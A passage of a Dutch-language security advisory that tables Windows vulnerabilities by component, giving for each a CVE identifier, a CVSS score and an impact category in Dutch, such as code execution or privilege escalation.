CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     